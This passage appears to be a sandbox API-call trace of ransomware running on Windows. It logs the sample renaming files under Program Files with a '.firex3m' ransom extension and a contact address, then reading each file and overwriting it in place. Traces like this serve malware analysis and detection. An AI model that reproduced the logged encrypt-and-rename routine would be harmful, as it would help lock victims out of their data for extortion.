cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0217.546] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-XL\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x357fcc4 | out: lpFindFileData=0x357fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4edb3a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4edb3a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x479de827, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1c7, dwReserved0=0x357fd20, dwReserved1=0x70f40c0, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d5480 [0217.546] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0217.546] Sleep (dwMilliseconds=0x1) [0217.559] SysReAllocStringLen (in: pbstr=0x357ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-XL\\index.html", len=0x6f | out: pbstr=0x357ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-XL\\index.html") returned 1 [0217.559] GetProcessHeap () returned 0x630000 [0217.559] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x50b0) returned 0x6fe3bb0 [0217.559] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-XL\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-xl\\index.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x684 [0217.560] CloseHandle (hObject=0x684) returned 1 [0217.560] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x357ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0217.560] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-XL\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-xl\\index.html"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-XL\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-xl\\index.html.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0217.561] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x357ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0217.561] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-XL\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x357fc6c | out: lpFindFileData=0x357fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4edb3a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4edb3a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa0a7, dwReserved0=0x5f0032, dwReserved1=0x63005b, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d51c0 [0217.561] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0217.561] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-XL\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-xl\\index.html.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x684 [0217.561] GetProcessHeap () returned 0x630000 [0217.561] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa0c1) returned 0x7421008 [0217.561] GetProcessHeap () returned 0x630000 [0217.561] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa0c1) returned 0x742b0d8 [0217.561] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.561] ReadFile (in: hFile=0x684, lpBuffer=0x7421008, nNumberOfBytesToRead=0xa0a0, lpNumberOfBytesRead=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7421008*, lpNumberOfBytesRead=0x357ff0c*=0xa0a0, lpOverlapped=0x0) returned 1 [0223.316] GetProcessHeap () returned 0x630000 [0223.316] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318328 [0223.316] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0223.316] WriteFile (in: hFile=0x684, lpBuffer=0x742b0d8*, nNumberOfBytesToWrite=0xa0a0, lpNumberOfBytesWritten=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x742b0d8*, lpNumberOfBytesWritten=0x357ff0c*=0xa0a0, lpOverlapped=0x0) returned 1 [0224.627] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.627] WriteFile (in: hFile=0x684, lpBuffer=0x7435177*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7435177*, lpNumberOfBytesWritten=0x357ff0c*=0x20, lpOverlapped=0x0) returned 1 [0225.329] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.329] WriteFile (in: hFile=0x684, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x357ff0c*=0x4, lpOverlapped=0x0) returned 1 [0225.330] CloseHandle (hObject=0x684) returned 1 [0225.743] GetProcessHeap () returned 0x630000 [0225.743] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x742b0d8 | out: hHeap=0x630000) returned 1 [0225.743] GetProcessHeap () returned 0x630000 [0225.743] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7421008 | out: hHeap=0x630000) returned 1 [0225.747] GetProcessHeap () returned 0x630000 [0225.747] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318328 | out: hHeap=0x630000) returned 1 [0226.660] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x357ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0226.660] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-XL\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x357fcc4 | out: lpFindFileData=0x357fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4edb3a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4edb3a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c415738, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xa0cb, dwReserved0=0xc787496, dwReserved1=0x7421000, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d5340 [0226.660] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0226.660] Sleep (dwMilliseconds=0x1) [0226.667] SysReAllocStringLen (in: pbstr=0x357ff7c*=0x0, psz="C:\\Program Files\\Windows Mail\\wab.exe", len=0x25 | out: pbstr=0x357ff7c*="C:\\Program Files\\Windows Mail\\wab.exe") returned 1 [0226.668] GetProcessHeap () returned 0x630000 [0226.668] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5218) returned 0x6fe3bb0 [0226.668] CreateFileW (lpFileName="C:\\Program Files\\Windows Mail\\wab.exe" (normalized: "c:\\program files\\windows mail\\wab.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0226.678] Sleep (dwMilliseconds=0x1) [0226.691] SysReAllocStringLen (in: pbstr=0x357ff7c*=0x0, psz="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.007.etl", len=0x3f | out: pbstr=0x357ff7c*="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.007.etl") returned 1 [0226.691] GetProcessHeap () returned 0x630000 [0226.691] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x51a4) returned 0x6fe3bb0 [0226.691] CreateFileW (lpFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.007.etl" (normalized: "c:\\program files\\unp\\logs\\universalnotificationplatform.007.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a8 [0226.696] CloseHandle (hObject=0x6a8) returned 1 [0226.696] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x357ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0226.696] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.007.etl" (normalized: "c:\\program files\\unp\\logs\\universalnotificationplatform.007.etl"), lpNewFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.007.etl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\logs\\universalnotificationplatform.007.etl.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0226.725] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x357ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0226.725] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.007.etl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x357fc6c | out: lpFindFileData=0x357fc6c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd3f87c1, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0xdb15d668, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xde0c0235, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniversalNotificationPlatform.007.etl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="UN0589~1.FIR")) returned 0x6d4f00 [0226.770] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0226.770] CreateFileW (lpFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.007.etl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\logs\\universalnotificationplatform.007.etl.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a4 [0226.770] GetProcessHeap () returned 0x630000 [0226.770] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x74b62c8 [0226.770] GetProcessHeap () returned 0x630000 [0226.770] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x74c16f8 [0226.770] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.770] ReadFile (in: hFile=0x6a4, lpBuffer=0x74b62c8, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x74b62c8*, lpNumberOfBytesRead=0x357ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0233.076] GetProcessHeap () returned 0x630000 [0233.076] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317b80 [0233.076] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.076] WriteFile (in: hFile=0x6a4, lpBuffer=0x74c16f8*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x74c16f8*, lpNumberOfBytesWritten=0x357ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0233.668] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.668] WriteFile (in: hFile=0x6a4, lpBuffer=0x74ccaf7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x74ccaf7*, lpNumberOfBytesWritten=0x357ff0c*=0x20, lpOverlapped=0x0) returned 1 [0233.973] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.973] WriteFile (in: hFile=0x6a4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x357ff0c*=0x4, lpOverlapped=0x0) returned 1 [0233.973] CloseHandle (hObject=0x6a4) returned 1 [0234.564] GetProcessHeap () returned 0x630000 [0234.564] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74c16f8 | out: hHeap=0x630000) returned 1 [0234.564] GetProcessHeap () returned 0x630000 [0234.564] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74b62c8 | out: hHeap=0x630000) returned 1 [0234.564] GetProcessHeap () returned 0x630000 [0234.564] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317b80 | out: hHeap=0x630000) returned 1 [0235.676] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x357ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.676] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.007.etl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x357fcc4 | out: lpFindFileData=0x357fcc4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd3f87c1, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0xdb15d668, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0x516854c4, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x20024, dwReserved0=0xc787496, dwReserved1=0x74b62c0, cFileName="UniversalNotificationPlatform.007.etl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="UN0589~1.FIR")) returned 0x6d5280 [0235.676] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0235.676] Sleep (dwMilliseconds=0x1) [0235.721] SysReAllocStringLen (in: pbstr=0x357ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\App\\mute.scale-100.png", len=0x66 | out: pbstr=0x357ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\App\\mute.scale-100.png") returned 1 [0235.721] GetProcessHeap () returned 0x630000 [0235.721] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4fc8) returned 0x6fe3bb0 [0235.722] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\App\\mute.scale-100.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\app\\mute.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0235.735] Sleep (dwMilliseconds=0x1) [0235.860] SysReAllocStringLen (in: pbstr=0x357ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-CA\\index.html", len=0x6f | out: pbstr=0x357ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-CA\\index.html") returned 1 [0235.860] GetProcessHeap () returned 0x630000 [0235.860] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4fb0) returned 0x6fe3bb0 [0235.860] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-CA\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-ca\\index.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x69c [0236.763] CloseHandle (hObject=0x69c) returned 1 [0236.763] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x357ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0236.764] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-CA\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-ca\\index.html"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-CA\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-ca\\index.html.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0236.765] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x357ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0236.765] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-CA\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x357fc6c | out: lpFindFileData=0x357fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3e2af7, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x32e4c500, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x923d, dwReserved0=0x5f0032, dwReserved1=0x63005b, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d51c0 [0236.765] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0236.765] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-CA\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-ca\\index.html.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x69c [0236.765] GetProcessHeap () returned 0x630000 [0236.765] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x9241) returned 0x73795e0 [0236.765] GetProcessHeap () returned 0x630000 [0236.765] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x9241) returned 0x7382830 [0236.765] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.765] ReadFile (in: hFile=0x69c, lpBuffer=0x73795e0, nNumberOfBytesToRead=0x9220, lpNumberOfBytesRead=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73795e0*, lpNumberOfBytesRead=0x357ff0c*=0x9220, lpOverlapped=0x0) returned 1 [0242.603] GetProcessHeap () returned 0x630000 [0242.603] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x745bea0 [0242.604] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0242.604] WriteFile (in: hFile=0x69c, lpBuffer=0x7382830*, nNumberOfBytesToWrite=0x9220, lpNumberOfBytesWritten=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7382830*, lpNumberOfBytesWritten=0x357ff0c*=0x9220, lpOverlapped=0x0) returned 1 [0242.604] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0242.604] WriteFile (in: hFile=0x69c, lpBuffer=0x738ba4f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x738ba4f*, lpNumberOfBytesWritten=0x357ff0c*=0x20, lpOverlapped=0x0) returned 1 [0242.604] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0242.604] WriteFile (in: hFile=0x69c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x357ff0c*=0x4, lpOverlapped=0x0) returned 1 [0242.604] CloseHandle (hObject=0x69c) returned 1 [0242.604] GetProcessHeap () returned 0x630000 [0242.604] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7382830 | out: hHeap=0x630000) returned 1 [0242.605] GetProcessHeap () returned 0x630000 [0242.605] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73795e0 | out: hHeap=0x630000) returned 1 [0242.605] GetProcessHeap () returned 0x630000 [0242.605] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x745bea0 | out: hHeap=0x630000) returned 1 [0243.127] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x357ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0243.127] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-CA\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x357fcc4 | out: lpFindFileData=0x357fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3e2af7, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x568cd446, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x9261, dwReserved0=0xc787496, dwReserved1=0x73795d8, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d51c0 [0243.127] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0243.127] Sleep (dwMilliseconds=0x1) [0244.240] SysReAllocStringLen (in: pbstr=0x357ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Aria.ClientTelemetry.winmd", len=0x71 | out: pbstr=0x357ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Aria.ClientTelemetry.winmd") returned 1 [0244.240] GetProcessHeap () returned 0x630000 [0244.240] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f80) returned 0x6fe3bb0 [0244.240] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Aria.ClientTelemetry.winmd" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.aria.clienttelemetry.winmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.241] Sleep (dwMilliseconds=0x1) [0245.906] SysReAllocStringLen (in: pbstr=0x357ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBLR6.CHM", len=0x6b | out: pbstr=0x357ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBLR6.CHM") returned 1 [0245.906] GetProcessHeap () returned 0x630000 [0245.906] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e54) returned 0x6fe3bb0 [0245.906] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBLR6.CHM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\vba\\vba7.1\\1033\\vblr6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0245.934] CloseHandle (hObject=0x4bc) returned 1 [0245.934] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, 